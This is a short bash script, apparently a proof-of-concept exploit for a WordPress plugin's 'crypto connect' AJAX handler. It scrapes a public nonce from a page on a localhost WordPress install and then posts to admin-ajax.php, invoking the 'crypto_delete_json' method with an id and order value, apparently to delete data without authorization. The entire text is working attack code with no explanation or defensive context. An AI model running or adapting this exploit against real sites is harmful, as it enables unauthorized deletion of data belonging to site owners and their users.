UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0'
PAGE_URL='http://localhost/wordpress/<ANY_PAGE>/'

NONCE=$(curl -s "$PAGE_URL" -A "$UA" | \
  perl -0777 -ne 'print "$1\n" if /crypto_connectChainAjax\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"/s')

# Fallback extraction
[ -z "$NONCE" ] && NONCE=$(curl -s "$PAGE_URL" -A "$UA" | \
  perl -ne "print \"$1\n\" if /create_link_crypto_connect_login\\(\\s*'([A-Za-z0-9_-]+)'/i")

echo "Nonce: $NONCE"

curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
  --data "action=crypto_connect_ajax_process&method_name=crypto_delete_json&id=1&nonce=${NONCE}&param1=order123"